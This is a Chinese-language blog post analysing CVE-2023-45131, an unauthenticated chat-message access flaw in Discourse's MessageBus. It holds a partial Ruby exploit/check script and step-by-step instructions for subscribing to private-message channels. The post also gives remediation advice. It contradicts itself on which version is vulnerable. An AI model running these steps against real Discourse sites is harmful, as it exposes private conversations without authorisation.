Discourse 3.1.1未授权访问漏洞分析:聊天消息泄露风险

本文详细分析了Discourse 3.1.1版本中存在的未授权访问漏洞(CVE-2023-45131),攻击者无需认证即可访问私密聊天消息,CVSS评分7.5分。文章包含完整的漏洞利用代码和技术细节。

Discourse 3.1.1 - 未授权访问聊天消息漏洞分析

漏洞概述

  • CVE编号: CVE-2023-45131
  • CVSS评分: 7.5 (高危)
  • 影响版本: Discourse < 3.1.1稳定版, < 3.2.0.beta2
  • 漏洞类型: 未授权访问

技术细节

漏洞原理

该漏洞存在于Discourse的消息总线(MessageBus)实现中,允许未认证用户:

  1. 获取MessageBus客户端ID
  2. 订阅聊天频道
  3. 访问私密消息
  4. 实时监控聊天内容
  5. 获取历史消息记录

漏洞验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'

class CVE202345131
  def initialize(target_url)
    @target_url = target_url.chomp('/')
    @results = []
    @message_bus_client_id = nil
    @csrf_token = nil
  end

  def run_exploit
    puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
    puts "[*] Target: #{@target_url}"
    
    test_messagebus_access
    test_chat_channel_enumeration
    test_private_message_access
    test_real_time_monitoring
    test_message_history_access
    test_user_enumeration_via_chat

    generate_report
  end

  private

  def test_messagebus_access
    puts "[*] Testing MessageBus unauthenticated access..."
    uri = URI("#{@target_url}/message-bus/poll")
    response = make_request(uri, 'GET')
    
    if response && response.code == '200'
      @message_bus_client_id = extract_client_id(response)
      @results << {
        vulnerability: "MessageBus Access",
        severity: "High",
        description: "Unauthenticated access to MessageBus endpoint confirmed",
        impact: "Can monitor real-time messages and notifications",
        client_id: @message_bus_client_id
      }
    end
  end

  # 其他测试方法省略...
end

漏洞利用流程

  1. 获取MessageBus客户端ID

    • 访问/message-bus/poll端点
    • 从响应头或响应体中提取客户端ID
  2. 枚举聊天频道

    • 订阅/chat/new-messages等频道
    • 分析响应获取活跃聊天频道
  3. 访问私密消息

    • 订阅/private-messages频道
    • 获取未加密的私密聊天内容
  4. 实时监控

    • 持续轮询消息总线
    • 捕获实时聊天内容

修复建议

  1. 升级到Discourse 3.1.1稳定版或更高版本
  2. 对MessageBus端点实施严格的身份验证
  3. 审查并限制聊天相关API的访问权限
  4. 监控MessageBus访问日志中的可疑活动

完整利用代码

文章提供了完整的Ruby利用脚本,包含以下功能:

  • 消息总线访问测试
  • 聊天频道枚举
  • 私密消息访问
  • 实时监控
  • 历史消息获取
  • 用户枚举功能

该脚本可自动化检测目标Discourse实例是否存在此漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计